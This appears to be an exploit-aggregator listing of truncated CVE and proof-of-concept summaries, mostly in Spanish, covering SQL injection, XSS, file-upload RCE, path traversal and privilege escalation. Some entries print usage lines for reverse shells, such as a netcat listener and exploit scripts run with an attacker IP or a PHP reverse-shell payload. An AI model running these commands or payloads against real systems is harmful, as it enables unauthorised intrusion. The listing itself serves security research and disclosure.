CVE-2026-69104

An authenticated user may initiate repository migration operations without required repository permissions, potentially causing information disclosure, unauthorized state changes, and service disruption. Fixed versions address the issue...

EUVD-2026-65531

Winter CMS before 1.2.13 contains a local file inclusion vulnerability in the JavascriptImporter filter that allows authenticated users with cms.manageassets permission to disclose arbitrary server-readable files by placing =include or =require directives in theme JavaScript assets. Attackers can...

adidnsdump

Active Directory Integrated DNS dump tool By default any user in Active Directory can enumerate all DNS records in the Domain or Forest DNS zones, similar to a zone transfer. This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks. For mo...

CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC

CVE-2025-2304 — Camaleon CMS Escalada de Privilegios por Asignación Masiva PoC Vulnerabilidad de escalada de privilegios en Camaleon CMS /updatedajax con passwordrole=admin inyectado en los parámetros de contraseña. 4. Verifica que el rol se haya actualizado a admin. Requisitos Python 3 Instalar...

CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Ejecución remota de código autenticada en Pluck CMS anterior a 4.7.13. El administrador de archivos admin.php?action=files no valida las extensiones de archivo, permitiendo la subida de archivos .phar que Apache ejecuta como PHP. Subir una webshell a través de este...

Royal-Event-Management-System-todate-SQL-Injection-Authenticated

Sistema de Gestión de Eventos Royal - Inyección SQL en 'todate' Autenticado 1. Descripción: Royal Event Management System 1.0 permite Inyección SQL a través del parámetro 'todate' en /royalevent/btndatesreport.php?= Explotar este problema podría permitir a un atacante comprometer la aplicación,...

College-Management-System-course_code-SQL-Injection-Authenticated

College Management System - Inyección SQL 'coursecode' Autenticado 1. Descripción: College Management System 1.0 permite inyección SQL a través del parámetro 'coursecode' en /College-Management-System/admin/asign-single-student-subjects.php. La explotación de este problema podría permitir a un...

CVE-2023-46818

CVE-2023-46818 ISPConfig - Exploit PoC de Inyección de Código PHP Bash Introducción Las versiones de ISPConfig = 3.2.11 son vulnerables a una vulnerabilidad autenticada de inyección de código PHP a través del parámetro records en el endpoint /admin/languageedit.php. Un usuario administrador...

CVE-2026-24849

CVE-2026-24849 OpenEMR Lectura Arbitraria de Archivos Autenticada EtherFax disposeDoc Probado en: OpenEMR Versión = 7.0.2 Exploit de prueba de concepto para CVE-2026-24849 , un path traversal / lectura arbitraria de archivos autenticada en el módulo Fax/SMS EtherFax de OpenEMR. Cualquier usuario...

CVE-2021-24807

CVE-2021-24807 Support Board 3.3.4 XSS Almacenado Autenticado Existe una vulnerabilidad de Cross Site Scripting XSS Almacenado Autenticado en Support Board Versión 3.3.4 a través del parámetro Notes. El impacto de las vulnerabilidades de cross-site scripting puede variar de una aplicación web a...

CVE-2024-51482-POC

ZoneMinder PoC de inyección SQL ciega basada en tiempo autenticada - CVE-2024-51482 ⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los cuales no tengas permiso por escrito es ilegal. Índice ZoneMinder PoC de...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Uso Ejecución de comandos: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Shell inversa: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 44...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE Authenticated Exploit para la vulnerabilidad de Remote Code Execution en Webmin versiones anteriores a 1.997, a través del módulo Software Package Updates. ¿Cómo funciona? El módulo Software Package Updates de Webmin no sanitiza correctamente el parámetro u antes...

CVE-2026-20769

A flaw was found in the Intel NPU Driver. An unprivileged software adversary with an authenticated user can exploit an improper conditions check. This vulnerability, requiring local access and no user interaction, may lead to a denial of service on the affected system. Mitigation No mitigation is...

CVE-2023-31705

CVE-2023-31705 descripción Una vulnerabilidad de Cross-site scripting XSS reflejado en Sourcecodester Task Reminder System 1.0 permite a un usuario autenticado inyectar JavaScript malicioso en el parámetro page. Tipo de vulnerabilidad Cross Site Scripting XSS Proveedor del producto Sourcecodster...

cve-2022-23636-poc

CVE-2022-23626 - m1k1o's Blog RCE Autenticado Ejecución Remota de Código Autenticada a través de una vulnerabilidad de carga de archivos en m1k1o's Blog v1.3 y anteriores. Descripción El endpoint ajax.php?action=uploadimage no valida correctamente los tipos de archivo subidos, permitiendo que un...

CVE-2026-78581

Authorization Bypass Through User-Controlled Key CWE-639 in Kibana can lead to unauthorized data modification via Accessing Functionality Not Properly Constrained by ACLs CAPEC-1. Under certain conditions, an authenticated user could reference another user's AI Assistant conversation identifier t...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Cambiar $ip en linea 7 de phprevshell.php nc -lvnp 1234...

CVE-2021-36747

CVE-2021-36747 Blackboard Learn hasta la versión 9.1 permite XSS por parte de un usuario autenticado a través del formulario Feedback to Learner. Descubierto: 11 de mayo de 2018 El equipo de seguridad de Blackboard ha sido notificado de este problema. Reconocieron la vulnerabilidad el 14 de mayo ...

CVE-2026-57863

Crater Invoice (through 6.0.6 ) contains a path traversal vulnerability in its self-update API. The root cause is unsanitized ZIP entry names containing ../ sequences passed to PHP's ZipArchive::extractTo(), allowing authenticated company owners to write arbitrary files outside the intended extra...